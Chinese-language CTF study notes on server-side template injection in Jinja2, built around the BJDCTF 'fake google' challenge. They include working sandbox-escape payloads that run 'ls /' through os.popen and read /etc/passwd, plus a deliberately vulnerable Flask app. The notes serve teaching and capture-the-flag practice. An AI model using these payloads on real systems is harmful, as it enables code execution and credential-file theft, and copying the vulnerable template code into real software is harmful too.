参考链接:
https://www.cnblogs.com/buchuo/p/12559408.html
https://www.cnblogs.com/tiaopidejun/p/12357245.html
https://www.cnblogs.com/gzs-monkey/p/10727330.html#autoid-0-0-0
0x00:SSTI介绍
ssti注入又称服务器端模板注入攻击(Server-Side Template Injection),和sql注入一样,也是由于接受用户输入而造成的安全问题。
它的实质就是服务器端接受了用户的输入,没有经过过滤或者说过滤不严谨,将用户输入作为web应用模板的一部分,但是在进行编译渲染的过程中,执行了用户输入的恶意代码,造成信息泄露,代码执行,getshell等问题。
这个问题主要是出在web应用模板渲染的过程中,目前比较流行的渲染引擎模板主要有:smarty,twig,jinja2,freemarker,velocity
百度百科:模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
0x01:测试方法
BJDCTF 2nd fake google
输入任何东西,都会显示在页面上
<script>alert('1')</script> 还有XSS但没用
测试payload
?name={{2*3}}
?name={{1+2}} //这个需要把 + URL编码一下 即 {{1%2b2}}
目录
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
python3 读取文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{% endif %}{% endfor %}
ssti注入工具
https://github.com/epinna/tplmap
一题:https://blog.csdn.net/qq_40827990/article/details/82940894
python OS 模块执行命令
简单的漏洞测试代码
from flask import Flask, request from jinja2 import Environment app = Flask(__name__) Jinja2 = Environment() @app.route("/page") def page(): name = request.values.get('name') # SSTI VULNERABILITY # The vulnerability is introduced concatenating the # user-provided `name` variable to the template string. output = Jinja2.from_string('Hello ' + name + '!').render() # Instead, the variable should be passed to the template context. # Jinja2.from_string('Hello {{name}}!').render(name = name) return output if __name__ == "__main__": app.run(host='0.0.0.0', port=80)
1